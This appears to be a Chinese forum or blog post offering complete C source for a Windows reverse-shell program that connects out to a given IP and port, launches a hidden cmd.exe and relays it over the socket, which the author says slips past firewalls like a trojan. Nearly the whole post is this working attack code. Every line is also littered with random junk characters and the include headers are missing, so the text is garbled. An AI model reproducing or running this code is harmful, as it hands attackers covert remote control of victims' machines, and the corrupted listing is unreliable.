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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 eFdN"8EW  
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/* ============================== p) ea1j>N  
Rebound port in Windows NT TkSeDP  
By wind,2006/7 (k&r^V/=  
===============================*/ 7T}r]C.  
#include o!ycVY$yW  
#include )NCkq~M  
'ai!6[|SD  
#pragma comment(lib,"wsock32.lib") DX%D8atrr  
SHT^Etri  
void OutputShell(); <P4*7:jX  
SOCKET sClient; f!aE/e\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !E|k#c9  
Wg ?P"  
void main(int argc,char **argv) #Do#e {=+  
{ 2OQDG7#Kc  
WSADATA stWsaData; B!zqvShF  
int nRet; cJ!C=J  
SOCKADDR_IN stSaiClient,stSaiServer; CxRh MhvP  
Y;6%pm$  
if(argc != 3) 7O.{g  
{ |=W=H6h*  
printf("Useage:\n\rRebound DestIP DestPort\n"); hCKx%&[^7  
return; JOm6Zc  
} J=C63YB  
R x.]m0  
WSAStartup(MAKEWORD(2,2),&stWsaData); {f<\`  
K JX@?1"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J,=: ] t  
bD;c>5t  
stSaiClient.sin_family = AF_INET; OlF5~VAbfb  
stSaiClient.sin_port = htons(0); K?:wX(JYT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F_&bE@k  
O F CA~sR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v5N2$Sqp*  
{ jwd{CN%  
printf("Bind Socket Failed!\n"); &\/b(|>  
return; 8x9$6HO  
} DTR/.Nr'K  
s.7s:Q`  
stSaiServer.sin_family = AF_INET; lYMNx|PF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =y kOh_M  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C #A\Rfi  
5zBayJh#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1_z6O!rx  
{ ;c;n.o.)/#  
printf("Connect Error!"); ';0NWFP  
return; +)gXU Vwd  
} gYy9N=f+  
OutputShell(); Ud8*yB  
} ';hTGLq\X  
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void OutputShell() ~1yMw.04V  
{ tuiQk=[ c  
char szBuff[1024]; bn$}U.m$-  
SECURITY_ATTRIBUTES stSecurityAttributes; 11Hf)]M   
OSVERSIONINFO stOsversionInfo; tSvklI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U.B=%S  
STARTUPINFO stStartupInfo; t|Ipxk.)  
char *szShell; p!~{<s]  
PROCESS_INFORMATION stProcessInformation; "=BO,see9  
unsigned long lBytesRead; 5h4E>LB.B  
%Fg}"=f1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g}]EIv{  
0fd\R_"d.  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U~w g'  
stSecurityAttributes.lpSecurityDescriptor = 0; FTg4i\Wp  
stSecurityAttributes.bInheritHandle = TRUE; ,LHQ@/}A C  
mzX <!  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2i@t;h2E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  !&Z,ev  
]$vJK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N3`W%ws`~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2%DleR'i  
stStartupInfo.wShowWindow = SW_HIDE; v8`)h<:W?  
stStartupInfo.hStdInput = hReadPipe; OJ'x>kE  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oe5.tkc  
h1 D#,  
GetVersionEx(&stOsversionInfo); (BA2   
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switch(stOsversionInfo.dwPlatformId) Q&9%XF uM  
{ >Lo!8Hen  
case 1: dWI.t1`i  
szShell = "command.com"; $.z~bmH"D  
break; +HK)A%QI  
default: yeCR{{B/'  
szShell = "cmd.exe"; BI\+ NGrB  
break; y ;4h'y>#  
} cc%O35o  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4P>tGO&*x  
Uq,M\V \  
send(sClient,szMsg,77,0); N&0MA  
while(1) Bn"r;pqWiT  
{ [wM<J$=2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m7XJe[O  
if(lBytesRead) Qjj:r~l  
{ Qn7l-:`?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |m%M$^sZ}  
send(sClient,szBuff,lBytesRead,0); &E{5k{Y  
} 6rnehv!p  
else @x@w<e%  
{ PSdH9ea  
lBytesRead=recv(sClient,szBuff,1024,0); J L9d&7-  
if(lBytesRead<=0) break; lbES9o5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O^ ]I>A#d  
} X'&$wQ6,K  
} FNDLqf!j  
Zw5\{Z0  
return; 9rb/hkX&  
}
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